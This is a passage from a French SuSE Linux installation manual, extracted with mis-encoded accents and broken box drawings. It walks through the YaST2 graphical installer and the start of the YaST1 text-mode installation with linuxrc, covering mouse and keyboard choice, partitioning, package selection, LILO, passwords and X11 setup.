*________||
| Pas de panique : Ici et dans les dialogues suivants, YaST2 se contentera *
* ||||
| de rassembler des informations. Plus tard, YaST2 vous prΘsentera les don- *
* |||
| *
* |||
| nΘes qu'il a collectΘ. Au paragraphe 2.1.13 page 25, vous aurez encore la *
* |||
| possibilitΘ, α l'aide du bouton `Retour', de revenir aux dialogues prΘcΘ- *
* |||
| *
* |||
| dents pour corriger certains paramΦtres. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
YaST2 vous demande quelle langue vous comprenez. AprΦs avoir choisi la
langue, vous pouvez, avec `Continuer', faire apparaεtre tous les textes du
dialogue qui va suivre dans la langue que vous dΘsirez.
ProblΦmes Θventuels
~ Si vous possΘdez un matΘriel exotique, il peut arriver que la souris ne soit
pas reconnue automatiquement. Dans un tel cas, utilisez tout d'abord le
clavier ainsi qu'il a ΘtΘ dΘcrit au dΘbut de ce paragraphe. Dans le prochain
dialogue, YaST2 vous donnera la possibilitΘ d'intΘgrer manuellement la
souris dans le systΦme (paragraphe 2.1.5 page suivante).
18
_____________________________________________________________________2.1.__La_voie_la_plus_rapide_vers_le_succΦs____________*
*______________________
2.1.5 Choix de la souris
Ce dialogue n'apparaεtra que dans le cas o∙ YaST2 n'a pas pu reconnaεtre
automatiquement la souris.
Vous pourrez voir une boεte de dialogue contenant une longue liste de noms
de souris et il vous sera demandΘ de sΘlectionner le type de souris adΘquat.
Faites dΘfiler la liste α l'aide des touches flΘchΘes._Lorsque_vous aurez trouvΘ
le type de souris_ qui convient, passez, avec |____T|ab, au bouton `Tester' et
appuyez sur |_____|-. DΘplacez maintenant la souris. Si le pointeur peut Ωtre
dΘplacΘ de maniΦre contr⌠lΘe, tout est pour le mieux et vous pouvez cliquer
sur `Continuer' avec la souris :-)
Si, lors du premier essai, vous n'avez pas rΘussi α trouver_le type de souris
appropriΘ, retournez α la liste de sΘlection avec |T____a|bafin de modifier votre
choix.
ProblΦmes Θventuels
~ Aucun type de souris ne fonctionne ou vous ne souhaitez pas utiliser
de souris. Dans ce cas, activez l'option `Aucune'. Vous devrez alors
effectuer tout le reste de l'installation en vous servant uniquement du
clavier.
2.1.6 DΘtermination du lieu : Clavier et zone horaire
Quelle disposition de clavier utilisez-vous ? Dans quelle zone de la terre,
c'est-α-dire dans quelle zone horaire vous trouvez-vous avec votre machine ?
DΘterminez le lieu dans lequel vous vous trouvez.
~ Vous avez ici, en outre, la possibilitΘ de tester votre_clavier. Vous devez
pour cela, par un clic de souris ou avec |____T|ab, activer la ligne d'entrΘe
et y taper des lettres. Testez tout particuliΦrement `y'/`z' ainsi que les
caractΦres accentuΘs.
~ Comme deuxiΦme option, vous disposez d'une liste de pays dans une
structure arborescente (continent/pays/rΘgion). Choisissez votre pays ou
une rΘgion de celui-ci. YaST2 dΘcouvrira la zone horaire appropriΘe.
Le bouton `Continuer' vous amΦne α la prochaine boεte de dialogue.
2.1.7 Nouvelle installation ou mise α jour ?
Avec YaST2 , vous pouvez non seulement installer une nouvelle version de
SuSE Linux mais effectuer aussi la mise α jour (angl. update) d'une version
prΘcΘdente et conserver ainsi les configurations dΘjα faites.
`Nouvelle installation' ~ SΘlectionnez cette option car dans ce para-
graphe il est question d'une nouvelle installation de SuSE Linux.
`Mise α jour' ~ Cette option ne sera pas dΘcrite ici.
Dans la description qui va suivre, nous prΘsumons que vous avez sΘlectionnΘ
`Nouvelle installation' avant de `continuer'.
*
* 19
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
2.1.8 PrΘparer le disque dur
Au cours des phases suivantes, vous choisirez le ou les disques durs et vous
effectuerez les prΘparations nΘcessaires α l'installation de SuSE Linux. ~ En
fonction des composants matΘriels de votre machine, les dialogues que vous
verrez apparaεtre divergeront plus ou moins de l'exemple prΘsentΘ ici.
Phase 1
~ S'il a ΘtΘ dΘtectΘ plus d'un disque, vous devrez tout d'abord choisir celui
qui doit Ωtre utilisΘ pour l'installation. Les disques dΘtectΘs sont listΘs les
uns au dessous des autres. ~ Ou
~ Vous sΘlectionnez la derniΦre option (`Partitionnement manuel')
afin de pouvoir, si besoin, effectuer le partitionnement α la main. Vous
pouvez aussi avoir recours ultΘrieurement α cette mΘthode s'il devait
s'avΘrer nΘcessaire de faire de la place : : :
En cas normal, vous choisirez un disque dur et vous cliquerez ensuite sur
`Continuer'
Phase 2
L'un des deux cas suivants peut se produire :
~ Si le disque n'est pas vide, YaST2 vous montrera ici toutes les partitions
qui se trouvent sur celui-ci et affichera l'option `totalitΘ du disque
dur'.
L'espace libre, non partitionnΘ α la ``fin'' du disque dur vous est Θgalement
montrΘ et il est automatiquement sΘlectionnΘ par dΘfaut. YaST2 ne peut
utiliser de l'espace supplΘmentaire que de faτon cohΘrente, ce qui signifie
que les partitions peuvent Ωtre rendues disponibles ``par l'arriΦre''. Dans
le cas par exemple de 3 partitions, la premiΦre et la deuxiΦme demeurent
inchangΘes et vous cochez la troisiΦme pour la rendre disponible.
Si vous dΘcidez de consacrer un disque entier α SuSE Linux, sΘlectionnez
`Utiliser la totalitΘ du disque dur'.
~ Si le disque est vide, la totalitΘ sera utilisΘe pour SuSE Linux.
Si vous dΘsirez autre chose, revenez au dernier dialogue avec `Retour' ~
ainsi qu'il est dΘcrit α la prΘsente page ~ afin de partitionner manuellement en
sΘlectionnant l'option `Partitionnement manuel'.
________________________________________________________________________________________________________*
*________|||
| *
* |||
| Comme les partitions sΘlectionnΘes pour SuSE Linux doivent Ωtre forma- *
* |||
| tΘes, toutes les donnΘes qu'elles peuvent Θventuellement contenir seront *
* |||
| *
* |||
| irrΘmΘdiablement perdues ! *
* |||
| Attention : Si vous sΘlectionnez `Utiliser la totalitΘ du disque *
* |||
| *
* |||
| dur', toutes les donnΘes se trouvant sur le disque seront effacΘes et, *
* |||
| par voie de consΘquence, tous les systΦmes d'exploitation (voir para- *
* |||
| *
* |||
| graphe 2.10.1 page 75). *
* |||
|_______________________________________________________________________________________________________*
*________|||_
20
_____________________________________________________________________2.1.__La_voie_la_plus_rapide_vers_le_succΦs____________*
*______________________
Lorsque vous sΘlectionnerez `Continuer', il sera entre autre vΘrifiΘ si l'es-
pace est suffisant pour une installation minimale, si 3 autres partitions peuvent
Ωtre installΘes et s'il est possible d'amorcer α partir du disque.
Si quelque chose n'est pas dans les rΦgles, vous en serez averti et vous pourrez
modifier votre choix en consΘquence.
Au dΘbut de l'installation proprement dite, dΦs que toutes les conditions se-
ront remplies, YaST2 configurera de lui-mΩme l'espace disque. Le disque
entier ou, selon le cas, l'espace disponible et/ou les partitions rendues dispo-
nibles seront divisΘs en 3 partitions standards pour SuSE Linux : une petite
partition pour /boot (environ 16 Mo) si possible au dΘbut du disque, une par-
tition de swap (128 Mo) et le reste pour /. Vous trouverez des informations
d'ordre gΘnΘral sur le partitionnement au paragraphe 2.8 page 67.
ProblΦmes Θventuels
~ Il n'est pas possible de sΘlectionner une certaine partition. YaST2 ne per-
met pas, au cours de la procΘdure standard, de choisir une partition ``au
milieu'' du disque dur. Pour contourner ce problΦme, vous devez partition-
ner en passant par l'option `Partitionnement manuel'.
2.1.9 SΘlection de logiciels
Dans les dialogues qui vont suivre, vous dΘterminerez la taille de votre in-
stallation SuSE Linux. SΘlectionnez pour cela l'une des options affichΘes et
choisissez le cas ΘchΘant les composants supplΘmentaires que vous dΘsirez.
SΘlection de logiciels : DΘterminer l'Θquipement de base
Vous devez tout d'abord choisir l'Θquipement de base de votre systΦme :
`Minimal' ~ Le systΦme `minimal' est un systΦme d'exploitation Unix
pleinement opΘrationnel qui fonctionne en mode texte (aussi bien le sys-
tΦme de base que toutes les applications importantes). Il est ainsi pos-
sible, mΩme si l'espace disque est limitΘ, de tester toutes les fonctions
essentielles de SuSE Linux. Ceci est Θgalement valable si vous avez une
application concrΦte qui ne requiert pas de configuration supplΘmentaire
du systΦme (espace requis, environ 150 Mo).
`Standard' ~ Le systΦme `standard' inclut un Θquipement logiciel de
base bien choisi qui comporte tout ce qu'il faut pour dΘbuter, par exemple
une interface graphique, des programmes d'impression, des logiciels per-
mettant d'accΘder α Internet, des jeux, des Θditeurs, un lecteur de CD etc.
(espace requis, environ 500 Mo).
`Presque tout' ~ Vous devriez installer `presque tout' si vous savez
que vous aurez besoin de la quasi-totalitΘ des paquetages ou si vous voulez
connaεtre toute l'Θtendue de la gamme de logiciels SuSE Linux. Mais il
vous faut pour cela suffisamment de place disponible (espace requis, plus
de 6 Go).
Le systΦme `standard' est tout particuliΦrement recommandΘ pour dΘbuter.
Si vous avez besoin de logiciels supplΘmentaires, vous pourrez toujours les
installer ultΘrieurement.
*
* 21
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
En partant de l'une des combinaisons de logiciels mentionnΘes (``Θquipe-
ment de base''), vous pouvez, avec le bouton `SΘlection dΘtaillΘe',
ajouter ou Θliminer certains composants, certaines applications spΘciales
(``paquetages'') .
SΘlection dΘtaillΘe de logiciels : Modifier les dΘtails
Si vous avez choisi `SΘlection dΘtaillΘe' dans le prΘcΘdent dialogue,
vous pouvez modifier ici certains dΘtails de votre ensemble de logiciels.
Dans la `sΘlection dΘtaillΘe' il vous est proposΘ des groupes de pa-
quetages auquels vous pouvez ajouter autant de composants que vous le sou-
haitez. Pour les logiciels libres, vous avez en outre la possibilitΘ d'installer
en mΩme temps les sources. SΘlectionnez pour cela `Installation des
sources disponibles'. Il convient cependant de noter que les sources oc-
cupent parfois beaucoup de place et ne prΘsentent en gΘnΘral d'intΘrΩt que
pour les programmeurs.
________________________________________________________________________________________________________*
*________||
| La sΘlection de logiciels peut Ωtre complΘtΘe α tout moment aprΦs l'instal- *
* ||||
| *
* |||
| lation. Il suffit d'invoquer YaST2 ou le YaST traditionnel pour installer des *
* |||
| logiciels α l'aide de la sΘlection des paquetages (voir chapitre 3 page 81). Si *
* |||
| *
* |||
| vous voulez obtenir dΦs maintenant un rΘsultat rapide, il serait prΘfΘrable, *
* |||
| au cours de la premiΦre installation, de ne pas trop vous enfoncer dans la *
* |||
| *
* |||
| jungle des applications ;-) *
* |||
|_______________________________________________________________________________________________________*
*________|||_
L'option `Logiciels commerciaux' est Θgalement α votre disposition.
Choisissez, dans ce dialogue, les paquetages logiciels que vous dΘsirez.
Avec `SΘlection de paquetages dΘterminΘs', vous accΘder, de ma-
niΦre sΘlective, α chacune des applications ou α chacun des paquetages logi-
ciels. Si vous sΘlectionnez ou dΘsΘlectionnez ici des paquetages, YaST2 vΘ-
rifiera constamment les dΘpendances entre les diffΘrents paquetages et vous
proposera, le cas ΘchΘant, d'installer des paquetages supplΘmentaires pour
satisfaire ces dΘpendances. Pour un bon fonctionnement des logiciels, il est
essentiel qu'il n'existe pas de dΘpendances qui ne soient pas rΘsolues.
ProblΦmes Θventuels
~ YaST2 va vΘrifier si l'espace disponible est suffisant pour votre sΘlection
de logiciels.
Si ce n'est pas le cas, vous devrez soit rΘduire la taille de votre installa-
tion, soit mettre des partitions supplΘmentaires α la disposition de SuSE
Linux. Si vous dΘsirez utiliser des partitions supplΘmentaires, allez, avec
`Retour' dans le masque `Choisissez un disque dur'. Voir cha-
pitre 2.1.8 page 20.
~ Si vous revenez ici α partir d'un des dialogues suivants avec `Retour' et
si vous faites une nouvelle sΘlection de composants, la sΘlection indivi-
duelle de paquetages sera annulΘe. Soyez donc prudent car vous risquez
d'avoir fait pour rien certains travaux minutieux qui peuvent Θventuelle-
ment avoir pris beaucoup de temps.
22
_____________________________________________________________________2.1.__La_voie_la_plus_rapide_vers_le_succΦs____________*
*______________________
2.1.10 LILO ~ Gestionnaire d'amorτage pour le dΘmarrage du systΦme
Pour que Linux puisse finalement dΘmarrer, il est nΘcessaire de prΘparer un
mΘcanisme d'amorτage. Vous devez dΘterminer α quel emplacement du sys-
tΦme le gestionnaire d'amorτage LILO (angl. LInux LOader) devra Ωtre ins-
tallΘ ou, le cas ΘchΘant, spΘcifier qu'un autre concept d'amorτage doit Ωtre
adoptΘ (vous trouverez des informations α ce sujet au paragraphe 2.3 page 44
et au chapitre 4 page 117).
~ Si YaST2 ne dΘtecte sur votre machine aucun autre systΦme d'exploita-
tion que SuSE Linux et si cette constatation correspond α la rΘalitΘ, les
choses sont alors trΦs simples et vous pouvez cliquer sur `Continuer'.
~ Il en est autrement si YaST2 dΘtecte un autre systΘme d'exploitation (par
exemple Windows) ou si le partitionnement de votre disque dur ne permet
pas l'amorτage (limite des 1024 cylindres). Ou encore si le matΘriel de
votre PC (systΦme mixte composΘ de disques durs SCSI et (E)IDE) ne
permet pas de reconnaεtre avec certitude s'il est possible d'amorcer le
systΦme. Pour de tels cas, il existe une mΘthode s√re qui consiste α faire
crΘer une disquette d'amorτage.
Mais si YaST2 ne parvient pas α faire un diagnostic exact de la situation
ou si vous avez vous-mΩme une autre idΘe sur la maniΦre de dΘmarrer votre
systΦme, sΘlectionnez `Autre configuration' afin de configurer manuel-
lement le dΘmarrage du systΦme. ~ Nous allons bient⌠t vous en dire plus.
LILO : Autre configuration de dΘmarrage
YaST2 vous donne le choix entre 4 possibilitΘs :
`Sur C : le secteur maεtre d'amorτage (MBR) du premier disque dur'
~ Si SuSE Linux est le seul systΦme d'exploitation que vous voulez ins-
taller, la place de LILO est sans aucun doute sur le + MBR (angl. Master
Boot Record).
LILO installΘ sur le MBR peut aussi servir de gestionnaire d'amorτage
pour plusieurs systΦmes d'exploitation. Ne choisissez toutefois cette op-
tion que si vous Ωtes s√r que vos systΦmes d'exploitation dΘjα instal-
lΘs peuvent Ωtre amorcΘs par LILO ~ en gΘnΘral, c'est le cas de Win-
dows95/98, voir α ce sujet le paragraphe 4.7.1 page 134. Si vous avez
des doutes, donnez la prΘfΘrence α l'option `CrΘer une disquette
d'amorτage'.
`CrΘer une disquette d'amorτage' ~ Si vous prΘvoyez de faire tour-
ner plusieurs systΦmes d'exploitation sur votre machine, vous avez la pos-
sibilitΘ de crΘer une disquette d'amorτage pour SuSE Linux. Ceci prΘ-
sente l'avantage de ne pas affecter un mΘcanisme d'amorτage dΘjα exis-
tant. Vous pouvez en outre lancer α tout moment SuSE Linux α partir de
cette disquette. Si vous voulez mettre toutes les chances de votre c⌠tΘ,
choisissez cette option.
Remarque : Il est encore possible de configurer plus tard, α l'aide de
YaST , une mΘthode d'amorτage avec LILO sur le MBR (voir para-
graphe 3.6.2 page 103, `Configurer LILO ').
*
* 23
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
`Ne pas installer LILO (autre gestionnaire d'amorτage)' *
* ~
Cette option vous permet de continuer α utiliser votre propre gestionnaire
d'amorτage. Il ne sera apportΘ aucune modification au secteur maεtre
d'amorτage (angl. Master Boot Record = MBR). LILO sera installΘ sur
la partition /boot. Vous devrez cependant dans ce cas reconfigurer vous-
mΩme votre gestionnaire d'amorτage. Il est dΘcrit au paragraphe 4.7.2
page 135 comment procΘder pour Windows NT et Linux.
`Sur une autre partition' ~ Choisissez cette option si vous voulez ou
devez spΘcifier une autre partition. Voir le point prΘcΘdent.
Dans le champ `paramΦtres d'amorτage', vous inscrirez si besoin les
``paramΦtres du noyau''. Ces entrΘes serviront α construire la ligne append .
Voir par exemple la page 129 et la page 370.
L'option linear est rarement nΘcessaire. Cette option est utile si les rΘfΘ-
rences aux secteurs de disques doivent Ωtre enregistrΘes en tant qu'adresses
logiques et non pas en tant qu'adresses physiques. Voir la page 128.
2.1.11 Informations sur l'utilisateur
Sous SuSE Linux, il est possible α plusieurs utilisateurs de travailler simulta-
nΘment mais chacun d'entre eux doit tout d'abord se connecter au systΦme.
Cette procΘdure est connue sous le nom de ``login''. Les spΘcifications α faire
dans cette fenΩtre servent α crΘer votre ``compte utilisateur'' (prΘnom, nom de
famille, nom d'utilisateur, mot de passe).
Il vous est demandΘ d'entrer votre prΘnom et votre nom. Il sera en outre dΘ-
terminΘ un ``nom d'utilisateur'' et un mot de passe avec lesquels vous pourrez
vous connecter au systΦme SuSE Linux.
Le bouton `Suggestion' vous donne la possibilitΘ de faire crΘer automati-
quement votre ``nom d'utilisateur'' α partir de votre prΘnom et de votre nom.
La suggestion qui vous est faite peut Ωtre modifiΘe et vous pouvez aussi taper
vous-mΩme le nom que vous souhaitez.
Vous devez ensuite entrer un mot de passe et le rΘpΘter pour vΘrification.
Tenez compte de la casse des lettres et diffΘrenciez les majuscules des mi-
nuscules. Le mot de passe doit en outre comporter au moins 5 caractΦres
sans aucun accent. Les caractΦres suivants sont admis en plus des lettres
#,. ; :._-+ !$%&/| ? {[()]} ainsi que les espaces et les chiffres de 0 α 9 .
Retenez bien votre ``nom d'utilisateur'' et votre mot de passe. Ils vous seront
toujours nΘcessaires lorsque vous voudrez travailler avec SuSE Linux.
Avec `Continuer', vous arrivez dans une fenΩtre prΘvue pour l'entrΘe du
mot de passe `root'.
2.1.12 DΘterminer le mot de passe `root'
L'utilisateur `root' a sous Linux des privilΦges particuliers. Il peut par
exemple dΘmarrer/arrΩter des processus systΦme, crΘer ou supprimer des
comptes utilisateurs, manipuler des fichiers systΦme importants etc. En
d'autres termes, il peut exΘcuter les tΓches d'un + administrateur systΦme.
24
_____________________________________________________________________2.1.__La_voie_la_plus_rapide_vers_le_succΦs____________*
*______________________
Il vous est demandΘ ici d'attribuer un mot de passe α l'utilisateur `root'.
Appliquez les mΩmes rΦgles que pour le mot de passe de l'utilisateur normal.
_______________________________________________________________________________________________________________________
|||||||| Il est indispensable de bien noter le mot de passe `root' qui plus tard ne ||| |
|||||||| || |
|||||||| sera plus affichΘ. Ce mot de passe vous sera nΘcessaire lorsque vous aurez || |
|||||||| des tΓches d'administration α exΘcuter. || |
||||||||_______________________________________________________________________________________________________________||_
Si vous dΘcidez maintenant de `continuer', les choses deviennent sΘrieuses
et l'installation proprement dite dΘmarre pour de bon.
2.1.13 Confirmer les configurations ~ dΘmarrer l'installation
Pour vous donner une possibilitΘ de contr⌠le, toutes les donnΘes collectΘes
jusqu'α prΘsent vont Ωtre affichΘes. Si vous souhaitez faire des modifications,
vous pouvez, avec `Retour', revenir pas α pas en arriΦre jusqu'au premier
masque d'entrΘe.
Si tout a ΘtΘ fait comme il convient et si vous dΘcidez de `continuer', il
vous sera demandΘ, par mesure de sΘcuritΘ (question en vert), si vous dΘsirez
vraiment dΘmarrer l'installation avec les paramΦtres affichΘs :
~ Lorsque vous aurez confirmΘ avec `Oui, installer', YaST2 com-
mencera α installer votre systΦme.
~ Avec `Non', vous avez la possibilitΘ de vΘrifier encore une fois vos don-
nΘes et de les modifier le cas ΘchΘant en revenant avec `Retour' au
masque correspondant.
Si vous avez changΘ d'idΘe et si vous jugez prΘfΘrable de remettre α plus
tard l'installation de SuSE Linux, vous avez maintenant la possibilitΘ d'ar-
rΩter complΦtement le processus d'installation. Toutes vos configurations et
spΘcifications seront alors perdues. Si vous sΘlectionnez `Annuler l'ins-
tallation', votre machine sera arrΩtΘe aprΦs qu'il vous aura ΘtΘ demandΘ de
confirmer encore une fois votre dΘcision. Vous pourrez alors sans problΦme
l'Θteindre ou la rΘamorcer. Jusqu'α cet instant aucune modification n'a ΘtΘ
effectuΘe sur votre machine.
Une spΘcialitΘ pour ``experts'' vous est proposΘe avec `Sauvegarde de la
configuration sur disquette'. Toutes les spΘcifications que vous avez
faites seront enregistrΘes sur une disquette et vous pourrez ainsi les utiliser
pour d'autres installations.
Vous vous Ωtes dΘcidΘ pour l'option `Oui, installer' et pouvez mainte-
nant voir YaST2 au travail. Il va crΘer et formater des partitions. Ceci peut
prendre un certain temps dont la durΘe dΘpend de l'Θquipement de votre sys-
tΦme et de la taille de votre disque dur. ╔vitez toute interruption car le disque
dur se trouverait alors dans un Θtat indΘfini.
Ensuite, les paquetages du CD 1 vont Ωtre lus et le systΦme de base SuSE
Linux va Ωtre installΘ. Lorsque vous aurez validΘ avec `Continuer', ce sys-
tΦme de base en mode texte sera dΘmarrΘ. YaST2 poursuit l'installation des
logiciels et vous demande ~ si besoin ~ les prochains CD. Si vous `annulez'
l'installation au cours de cette phase, le systΦme ne sera plus utilisable !
*
* 25
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
Selon les spΘcifications que vous aurez faites au paragraphe 2.1.10 page 23, il
vous sera Θventuellement demandΘ d'insΘrer une disquette formatΘe pour faire
crΘer une disquette d'amorτage. N'utilisez pour cela aucune des disquettes
fournies ! Si LILO est installΘ sur le MBR, vous recevrez un message qui vous
fera connaεtre la commande vous permettant de restaurer le MBR d'origine.
Notez bien cette commande.
SuSE Linux est maintenant installΘ avec succΦs sur votre machine !
Il ne manque plus que la prΘparation de l'interface graphique. Ceci est bien
s√r superflu si vous n'avez installΘ qu'un systΦme `minimal' ~ le systΦme
`minimal' Θtant explicitement conτu pour fonctionner en mode texte. Vous
pourrez ensuite faire votre premier essai avec SuSE Linux.
2.1.14 PrΘparer l'interface graphique
Afin de pouvoir mettre α votre disposition une interface graphique dΦs votre
premier login, YaST2 va tenter de trouver de lui-mΩme toutes les informa-
tions nΘcessaires au sujet du moniteur et de la carte graphique.
Si cela rΘussit, il sera sΘlectionnΘ une rΘsolution d'image, un rΘglage des
couleurs, une frΘquence de rΘpΘtition pour le moniteur et l'Θcran de test sera
affichΘ.
________________________________________________________________________________________________________*
*________
| Contr⌠lez bien les paramΦtres avant de donner le ``feu vert'' ! En cas de *
* ||||
| *
* |||
| doute, consultez la documentation qui accompagne votre carte graphique *
* |||
| et votre moniteur. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Si le moniteur n'est pas reconnu, choisissez votre modΦle dans la liste qui
vous est prΘsentΘe. Si vous possΘdez un modΦle inconnu, vous devrez entrer
manuellement les paramΦtres ou faire lire les donnΘes α partir d'une `dis-
quette pilote' qui a Θventuellement ΘtΘ fournie avec votre moniteur. Dans
ce cas, il vous est conseillΘ de consulter la documentation qui accompagne
votre moniteur. ~ Si vous ne voulez pas d'interface graphique, sΘlectionnez,
dans la liste des constructeurs, la premiΦre option `Pas de configuration
X11'
On aborde ensuite la question du rΘglage de l'Θcran. La rΘsolution idΘale
dΘpend de vos go√ts personnels et de votre matΘriel. Comme profondeur de
couleurs (`nombre de couleurs'), il est conseillΘ de choisir 16bpp .
ProblΦmes Θventuels
~ Dans quelques rares cas, il est nΘcessaire de configurer manuellement le
+ serveur X. Pour cela, vous devrez lancer plus tard le programme SaX .
Vous trouverez des informations sur SaX au chapitre 8.1 page 240.
2.1.15 Configurer les composants du systΦme
Pendant la premiΦre phase de l'installation, vous avez dΘjα la possibilitΘ de
configurer ~ pour autant qu'ils soient prΘsents ~ certains composants de votre
systΦme : imprimante, son, Internet et rΘseau.
Mais s'il commence α se faire tard, vous pouvez, en toute bonne conscience,
remettre ce travail au lendemain !
26
_____________________________________________________________________2.1.__La_voie_la_plus_rapide_vers_le_succΦs____________*
*______________________
2.1.16 PremiΦre connexion
╟a y est ~ maintenant vous pouvez vous connecter.
Le login graphique (le gestionnaire d'Θcran kdm ) apparaεt et affiche les
comptes utilisateurs crΘΘs (figure 9.6 page 273). Il ne vous reste plus qu'α
entrer votre nom d'utilisateur α l'invite login : ainsi que votre mot de passe
pour que KDE (``K Desktop Environment'') soit dΘmarrΘ. ~ Vous trouverez
des informations sur KDE au paragraphe 9.2 page 271 et vous disposez en
outre du systΦme d'aide kdehelp .
Si vous continuez α travailler en mode texte, entrez votre nom d'utilisateur α
l'invite login : Lorsque vous aurez entrΘ votre mot de passe, vous verrez
apparaεtre l'+ invite (angl. prompt) du systΦme Linux.
2.1.17 Tour d'horizon et travail sur le systΦme
Pour les nouveaux venus sous Linux, le chapitre 19 page 481 du manuel
constitue une aide prΘcieuse qui leur permettra de bien dΘbuter. L'annexe F
page 541 et pages suivantes apporte en outre des rΘponses α quelques ques-
tions frΘquemment posΘes. Des livres permettant d'acquΘrir des connais-
sances plus poussΘes sont citΘs dans la bibliographie (voir page 565) et cer-
tains d'entre eux sont dΘcrits sous http://www.suse.de/de/produkte/
buecher/
Familiarisez-vous aussi avec le ``vieux'' YaST (chapitre 3 page 81 et pages
suivantes).
~ Pour obtenir des informations dΘtaillΘes sur la configuration de l'interface
graphique, en l'occurrence le systΦme X Window, reportez-vous au cha-
pitre 8 page 239. La configuration avec SaX est dΘcrite au paragraphe 8.1
page 240.
~ La carte son est le thΦme du paragraphe 10.3 page 296 ~ il est ici question
de ``l'environnement matΘriel de l'ordinateur Linux''.
~ Pour installer votre imprimante et pour savoir quelles imprimantes sont
supportΘes, lisez le chapitre 12 page 333. Pour une installation simple
avec YaST , voyez le paragraphe 3.6.1 page 101.
~ Vous apprendrez comment configurer votre accΦs α Internet au cha-
pitre 5.3 page 171. Pour l'installation du modem, voir le paragraphe 6.5
page 190 et pour ISDN le paragraphe 6.2 page 173.
~ Pour en savoir plus sur la configuration d'un rΘseau, lisez le chapitre 5
page 153.
_______________________________________________________________________________________________________________________||
|||||||| Si vous voulez adjoindre α un rΘseau interne un accΦs ISDN, il vous est nΘ- ||| |
|||||||| cessaire d'avoir des connaissances poussΘes dans le domaine des rΘseaux. || |
|||||||| || |
|||||||| Vous trouverez des informations dans la documentation spΘcialisΘe sous || |
|||||||| les mots-clΘs ``passerelle'' (angl. gateway), ``routeur'' ou ``pare-feu'' (angl. || |
|||||||| || |
|||||||| firewall). || |
||||||||_______________________________________________________________________________________________________________||_
*
* 27
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
2.2 Installation en mode texte avec YaST 1
De nombreux chemins mΦnent α un Linux installΘ - mais certains d'entre eux
sont plus ardus que d'autres.
Si vous n'Ωtes plus un novice de Linux, certaines explications pourront vous
sembler inutiles et fastidieuses. Souvenez-vous alors de l'Θpoque o∙ vous en
Θtiez encore α votre premiΦre machine et o∙ vous puisiez avec gratitude vos
informations α toutes les sources qui se prΘsentaient : : :
2.2.1 Situation de dΘpart
SuSE Linux met α votre disposition, avec YaST , un outil qui vous guidera de
faτon s√re α travers toutes les Θtapes de l'installation depuis la prΘparation de
votre disque dur jusqu'α la configuration d'un login graphique.
Dans le ``cas normal'' d'une machine sur laquelle SuSE Linux doit Ωtre ins-
tallΘ, les conditions suivantes doivent Ωtre remplies :
~ Vous pouvez dΘmarrer votre machine soit α partir de la disquette d'amor-
τage fournie, soit directement α partir du CD 1.
~ Votre disque dur offre, pour l'installation de Linux, suffisamment d'es-
pace libre non partitionnΘ. Ou vous disposez d'un disque dur suffisam-
ment grand que vous voulez utiliser spΘcialement pour Linux.
~ Votre + lecteur de CD-ROM est supportΘ par Linux. Si vous ne savez pas
encore si c'est le cas : pas de panique, vous pouvez le dΘcouvrir.
Si l'une de ces conditions ne devez pas Ωtre remplie, il existe des ``chemins
dΘtournΘs'' qui vous permettront de rΘaliser votre installation. De tels chemins
vont vous Ωtre prΘsentΘs au paragraphe 2.4 page 46 et pages suivantes.
2.2.2 Maintenant tout commence : L'Θcran d'accueil
InsΘrez le CD 1 et/ou la disquette dans le lecteur correspondant et mettez
votre machine en marche pour l'amorτage. Si elle refuse d'amorcer, vous
devrez probablement modifier vers A,C ou CDROM,C,A l'ordre du processus
d'amorτage dans le BIOS de la machine.
AprΦs quelques instants, vous voyez apparaεtre l'Θcran d'accueil (figure 2.1
page suivante)._Appuyez dans les 3 secondes qui suivent sur une touche (par
exemple |____T|ab) afin que YaST2 ne soit pas lancΘ automatiquement. Entrez_
maintenant manual α l'invite d'amorτage (boot : ) et validez avec |_____-|:
boot: manual |______|-
Vous pouvez maintenant voir, sur la partie infΘrieure de l'Θcran, les messages
"Loading initdisk.gz..." ainsi que "Loading linux..." et aprΦs
quelques instants le + noyau dΘmarre et linuxrc est lancΘ.
Le programme linuxrc est pilotΘ par menu et attend vos entrΘes.
28
________________________________________________________________2.2.__Installation_en_mode_texte_avec_YaST__1_______________*
*______________________
Fig. 2.1: L'Θcran de dΘmarrage de SuSE Linux
ProblΦmes Θventuels
~ Si votre lecteur de CD-ROM (ATAPI) se bloque α l'amorτage du systΦme,
voyez le paragraphe 2.7.5 page 60.
~ Le CD 1, qui fournit un noyau optimisΘ pour processeurs Pentium, n'est
pas reconnu comme support d'amorτage. Faites une tentative avec le
CD 2. Voir paragraphe 2.6.2 page 56.
~ D'autres difficultΘs survenant α l'amorτage peuvent en gΘnΘral Ωtre
contournΘes avec les paramΦtres du noyau. Voir paragraphe 14.3.2
page 370 et pages suivantes.
2.2.3 La base de votre installation : linuxrc
Avec le programme linuxrc , vous chargerez, sous forme de modules du
noyau, les pilotes Θventuellement requis. Ensuite, linuxrc lancera le pro-
gramme d'installation YaST et l'installation proprement dite des logiciels
systΦme et des programmes d'application pourra commencer.
La manipulation de linuxrc est d'une extrΩme simplicitΘ__:_ Avec |__|"et |__|#,
vous sΘlectionnez une option du menu ; avec | ___|_et_|____|!,_ vous sΘlectionnez
une commande, par exemple `Ok' ou `Annuler'. Avec |_____|-, vous faites
exΘcuter la commande. ~ Vous trouverez une description plus dΘtaillΘe de
linuxrc au paragraphe 16.3 page 429 et pages suivantes.
Configuration et intΘgration du matΘriel
Le programme linuxrc commence par la sΘlection de la langue.
~ SΘlectionnez une langue et validez votre choix avec |______|-.
~ Choisissez entre `╔cran couleur' et `╔cran__monochrome'._Si vous
possΘdez un Θcran couleur, validez avec |_____-|.
~ SΘlectionnez la disposition des touches du clavier.
*
* 29
2. PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
*_______________________________________@
Fig. 2.2: SΘlection de la langue
Fig. 2.3: Menu principal de linuxrc
Nous voici arrivΘs au menu principal de linuxrc (figure 2.3). Vous pouvez
choisir entre les options suivantes :
`Configuration' ~ Vous pouvez encore changer ici la langue, l'Θcran ou
le clavier.
`Informations systΦme' ~ Ceux qui sont intΘressΘs trouveront tout un
